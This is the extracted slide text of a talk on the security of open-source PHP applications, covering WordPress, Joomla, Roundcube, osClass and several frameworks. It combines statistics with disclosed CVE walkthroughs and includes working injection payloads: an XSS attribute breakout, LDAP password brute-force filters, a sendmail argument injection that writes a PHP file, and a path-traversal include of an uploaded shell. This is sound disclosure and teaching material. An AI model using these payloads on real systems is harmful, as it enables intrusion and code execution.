The Security State of Open Source PHP Applications
- Dr. Johannes Dahse, RIPS Technologies GmbH
The Security State of Open Source PHP Applications Dr. Johannes - - PowerPoint PPT Presentation
The Security State of Open Source PHP Applications Dr. Johannes Dahse, RIPS Technologies GmbH Introduction About Johannes Dahse Master IT Security at RUB, Germany (2006 - 2012) Capture The Flag (CTF) Contests Security Consultant
Johannes Dahse
average data breach costs
use open source libraries
60% 7% 5% 2% 1% 25%
CMS Market Share
WordPress Joomla! Drupal Magento Typo3 Other
Source: w3techs.com
Application (latest version) Prepared Statements Template Engine CSRF Protection Password Hashing Security Team Auto Update* Bug Bounty Program WordPress vsprintf() none yes phpass yes yes yes Joomla! MySQLi custom yes bcrypt yes no no Drupal PDO Twig yes salted sha-512 yes no 2015 Magento PDO custom yes salted sha-256 yes no yes Typo3 Doctrine Fluid yes pbkdf2 yes yes no
*Pro/Con Discussion: https://www.drupal.org/node/2367319
5 10 15 20 25 30 35 40 45 2010 2011 2012 2013 2014 2015 2016 2017
Number of Vulnerabilities per Year
WordPress Joomla! Drupal Magento Typo3
Source: cvedetails.com
1 2 3 4 5 6 7 8 2010 2011 2012 2013 2014 2015 2016 2017
Number of Critical Vulnerabilities per Year (CVSS Score > 7)
WordPress Joomla! Drupal Magento Typo3
Source: cvedetails.com
CVE-2015-3438 – Persistent XSS in Wordpress 4.1.2
https://cedricvb.be/post/wordpress-stored-xss-vulnerability-4-1-2/
Insert: test𝌇123 Result: test
CVE-2015-3438 – Persistent XSS in Wordpress 4.1.2
https://cedricvb.be/post/wordpress-stored-xss-vulnerability-4-1-2/
CVE-2015-3438 – Persistent XSS in Wordpress 4.1.2
https://cedricvb.be/post/wordpress-stored-xss-vulnerability-4-1-2/
<div class="comment" id="comment-1"> <div class="comment-content"> <a title='test𝌇123'>click</a> </div> </div>
CVE-2015-3438 – Persistent XSS in Wordpress 4.1.2
https://cedricvb.be/post/wordpress-stored-xss-vulnerability-4-1-2/
<div class="comment" id="comment-1"> <div class="comment-content"> <a title='test </div> </div>
CVE-2015-3438 – Persistent XSS in Wordpress 4.1.2
https://cedricvb.be/post/wordpress-stored-xss-vulnerability-4-1-2/
<div class="comment" id="comment-1"> <div class="comment-content"> <a title='test </div> </div> <div class="comment" id="comment-2"> <div class="comment-content"> hack' onmouseover='alert(1)' style='width:100%;height:100%;…' </div> </div>
CVE-2017-14596 – LDAP Injection in Joomla! 1.5 - 3.7.5
https://blog.ripstech.com/2017/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/
CVE-2017-14596 – LDAP Injection in Joomla! 1.5 - 3.7.5
https://blog.ripstech.com/2017/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/
class LoginController extends JControllerLegacy { public function login() { ⋮ $app = JFactory::getApplication(); ⋮ $model = $this->getModel('login'); $credentials = $model->getState('credentials'); ⋮ $app->login($credentials, array('action' => 'core.login.admin')); }
CVE-2017-14596 – LDAP Injection in Joomla! 1.5 - 3.7.5
https://blog.ripstech.com/2017/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/
class JApplicationCms extends JApplicationWeb { public function login($credentials, $options = array()) { ⋮ $authenticate->authenticate($credentials, $options); } } class JAuthentication extends Jobject { public function authenticate($credentials, $options = array()) { ⋮ $plugin->onUserAuthenticate($credentials, $options, $response); }
CVE-2017-14596 – LDAP Injection in Joomla! 1.5 - 3.7.5
https://blog.ripstech.com/2017/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/
class PlgAuthenticationLdap extends JPlugin { public function onUserAuthenticate($credentials, $options, &$response){ ⋮ $userdetails = $ldap->simple_search( str_replace( '[search]', $credentials['username'], $this->params->get('search_string') // uid=[search] ) ); }
XXX;(&(uid=Admin)(userPassword=A*)) XXX;(&(uid=Admin)(userPassword=B*)) XXX;(&(uid=Admin)(userPassword=C*)) ... XXX;(&(uid=Admin)(userPassword=s*)) ... XXX;(&(uid=Admin)(userPassword=se*)) ... XXX;(&(uid=Admin)(userPassword=sec*)) ... XXX;(&(uid=Admin)(userPassword=secretPassword))
CVE-2017-14596 – LDAP Injection in Joomla! 1.5 - 3.7.5
https://blog.ripstech.com/2017/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/
https://codex.wordpress.org/Hardening_WordPress https://docs.joomla.org/Security_Checklist/en https://www.drupal.org/docs/8/security https://magento.com/security/best-practices https://docs.typo3.org/typo3cms/SecurityGuide/
56% 44%
Security Contact Available
Yes No 58% 42%
Critical Detected by RIPS
Yes No 39% 28% 33%
Time To Fix (if)
2 weeks 6 weeks 3 month
SQL Injection PHP Object Injection Cross-Site Scripting Command Execution File Upload Path Traversal Code Execution File Inclusion
Software Attack Vector detected by RIPS Roundcube Command Execution via Email FreePBX Command Execution via Cross-Site Scripting Coppermine Command Execution via SQL Injection
Command Execution via Local File Inclusion Expression Engine Command Execution via PHP Object Injection KLIQQI CMS Command Execution via Cross-Site Request Forgery Redaxo CMS Command Execution via Cross-Site Request Forgery Precurio Command Execution via Path Traversal Serendipity Command Execution via Logical Flaw
https://demo.ripstech.com
https://blog.ripstech.com/2016/roundcube-command-execution-via-email/
CVE-2016-9920 – Remote Command Execution in Roundcube 1.2.2
https://blog.ripstech.com/2016/roundcube-command-execution-via-email/
CVE-2016-9920 – Remote Command Execution in Roundcube 1.2.2
$from = rcube_utils::get_input_value('_from', rcube_utils::INPUT_POST); $RCMAIL->deliver_message($MAIL, $from, $mailto, $error); public function deliver_message(&$message, $from, $mailto, &$error) { ⋮ if (filter_var(ini_get('safe_mode'), FILTER_VALIDATE_BOOLEAN)) $sent = mail($to, $subject, $msg_body, $header_str); else $sent = mail($to, $subject, $msg_body, $header_str, "-f$from");
https://blog.ripstech.com/2016/roundcube-command-execution-via-email/
CVE-2016-9920 – Remote Command Execution in Roundcube 1.2.2
$from = rcube_utils::get_input_value('_from', rcube_utils::INPUT_POST); $RCMAIL->deliver_message($MAIL, $from, $mailto, $error); public function deliver_message(&$message, $from, $mailto, &$error) { ⋮ if (filter_var(ini_get('safe_mode'), FILTER_VALIDATE_BOOLEAN)) $sent = mail($to, $subject, $msg_body, $header_str); else $sent = mail($to, $subject, $msg_body, $header_str, "-f$from");
https://blog.ripstech.com/2016/roundcube-command-execution-via-email/
CVE-2016-9920 – Remote Command Execution in Roundcube 1.2.2
rperaglie@ripstech.com -OQueueDirectory=/tmp -X/var/www/html/rce.php
04731 <<< To: contact@ripstech.com 04731 <<< Subject: <?php phpinfo(); ?> 04731 <<< X-PHP-Originating-Script: 1000:rcube.php 04731 <<< MIME-Version: 1.0 04731 <<< Content-Type: text/plain; charset=US-ASCII; 04731 <<< Content-Transfer-Encoding: 7bit 04731 <<< Date: So, 20 Nov 2016 04:02:52 +0100 04731 <<< From: rperaglie@ripstech.com -OQueueDirectory=/tmp 04731 <<< -X/var/www/html/rce.php …
Software Affected Version CVE Patch Date Roundcube <= 1.2.2 CVE-2016-9920 2016-11-28 MediaWiki < 1.29 2016-12-10 Zend Framework < 2.4.11 CVE-2016-10034 2016-12-20 PHPMailer <= 5.2.18 CVE-2016-10033 2016-12-28 SwiftMailer <= 5.4.5-DEV CVE-2016-10074 2016-12-29 SquirrelMail <= 1.4.23 CVE-2017-7692
I was reading https://blog.ripstech.com/2016/roundcube-command- execution-via-email/. We don't do escaping of the fifth argument to mail() either.
https://phabricator.wikimedia.org/T152717
switch ($this->action) { case 'error_plugin': … include( osc_plugins_path() . Params::getParam('plugin') ); Plugins::install(Params::getParam('plugin'));
Local File Inclusion in osClass 1.2.2
https://blog.ripstech.com/2016/osclass-remote-code-execution-via-image-file/
switch ($this->action) { case 'error_plugin': … include( osc_plugins_path() . Params::getParam('plugin') ); Plugins::install(Params::getParam('plugin')); $original = pathinfo($uploader->getOriginalName()); … $filename = uniqid("qqfile") . "." . $original['extension']; $result = $uploader->handleUpload('uploads/temp/' . $filename); $img = ImageResizer::fromFile('uploads/temp/' . $filename)->autoRotate();
Local File Inclusion in osClass 1.2.2
https://blog.ripstech.com/2016/osclass-remote-code-execution-via-image-file/
shell.jpg
shell.jpg
include('plugins/../uploads/temp/shell.jpg');
switch ($this->action) { case 'error_plugin': … include( osc_plugins_path() . Params::getParam('plugin') ); Plugins::install(Params::getParam('plugin'));
Local File Inclusion in osClass 1.2.2
https://blog.ripstech.com/2016/osclass-remote-code-execution-via-image-file/
40% 24% 16% 16%
Template Engine
None Smarty Custom Twig Other 15% 20%
Password Hash
bcrypt pbkdf2 php-crypt phpass salted hash md5/sha 86% 14%
CSRF Protection
Yes No 59% 41%
Prepared Statements
Yes No 65%
https://blog.ripstech.com/2016/apav-advent-of-php-application-vulnerabilities/
5000 10000 15000 20000 25000 30000 35000 40000 45000 50000
Number of Extensions
WordPress Joomla! Drupal Magento Typo3
https://api.wordpress.org/plugins/info/1.1/?action=query_plugins
50 100 150
LOC of Top 250 plugins
1-100 101-500 501-1K 1K-5K >5K 5000 10000 15000 20000
LOC of 41K plugins
1-100 101-500 501-1K 1K-5K >5K
50 100 150
LOC of Top 250 plugins
1-100 101-500 501-1K 1K-5K >5K 5000 10000 15000 20000
LOC of 41K plugins
1-100 101-500 501-1K 1K-5K >5K
47% 53%
Vulnerability detected Nothing detected
32% 68%
Vulnerability detected Nothing detected
50 100 150
LOC of Top 250 plugins
1-100 101-500 501-1K 1K-5K >5K 5000 10000 15000 20000
LOC of 41K plugins
1-100 101-500 501-1K 1K-5K >5K
45% 55%
Vulnerability detected Nothing detected
53% 47%
Vulnerability detected Nothing detected
52% 10% 3% 2% 2% 1% 1% 29%
All 41K Plugins
Cross-Site Scripting SQL Injection Resource Injection File Create Path Traversal File Delete PHP Object Injection Other
Source: trends.google.com
Framework Analyzed Version Template Engine Database Abstraction CSRF Protection Password Hash Security Contact Laravel 5.5.0 Blade Eloquent ORM yes bcrypt yes Symfony 3.3.10 PHP, Twig, … Doctrine ORM yes bcrypt yes CodeIgniter 3.1.6 custom Query Builder yes bcrypt yes CakePHP 3.5.3 PHP Cake ORM yes bcrypt no Yii 2.0.12 PHP Query Builder Yes bcrypt yes Zend Framework 3.0.1 PHP Query Builder Yes bcrypt yes
1 2 3 4 5 6 7 2010 2011 2012 2013 2014 2015 2016 2017
Number of Vulnerabilities per Year
Laravel Symfony CodeIgniter CakePHP Yii Zend
Doctrine Query Builder
$qb = $em->createQueryBuilder(); $qb->select('u')->from('User', 'u')->where("u.id = $id");
Doctrine Query Builder
$qb = $em->createQueryBuilder(); $qb->select('u')->from('User', 'u')->where("u.id = $id");
Doctrine Query Builder
$qb = $em->createQueryBuilder(); $qb->select('u')->from('User', 'u')->where("u.id = $id"); /** @var \Doctrine\DBAL\Connection $con */ $connection = $doctrine->getConnection(); $connection->update('users', array('name'=>$_GET['name']), array('id'=>1));
Doctrine Query Builder
$qb = $em->createQueryBuilder(); $qb->select('u')->from('User', 'u')->where("u.id = $id"); /** @var \Doctrine\DBAL\Connection $con */ $connection = $doctrine->getConnection(); $connection->update('users', array('name'=>$_GET['name']), array('id'=>1)); $connection = $doctrine->getConnection(); $connection->update('users', array($_GET['name']=>'rips'), array('id'=>1)); $connection->update('users', $_POST, array('id'=>1));
Html::secureLink($_GET['url']);
https://laravel.com/api/5.5/Illuminate/Html/HtmlBuilder.html
Html::secureLink($_GET['url']);
https://laravel.com/api/5.5/Illuminate/Html/HtmlBuilder.html
class HtmlBuilder { public function secureLink($url, $title=null) { return $this->link($url, $title, true); } public function link($url, $title=null, $secure=null) { $url = $this->url->to($url, array(), $secure); return '<a href="'.$url.'">'.$this->entities($title).'</a>‘; } }
Html::secureLink( mailto:"><script>alert(1)</script> );
https://laravel.com/api/5.5/Illuminate/Html/HtmlBuilder.html
<a href="mailto:"><script>alert(1)</script>
class HtmlBuilder { public function secureLink($url, $title=null) { return $this->link($url, $title, true); } public function link($url, $title=null, $secure=null) { $url = $this->url->to($url, array(), $secure); return '<a href="'.$url.'">'.$this->entities($title).'</a>‘; } }
Plugins & Extensions PHP applications PHP frameworks
jdahse@ripstech.com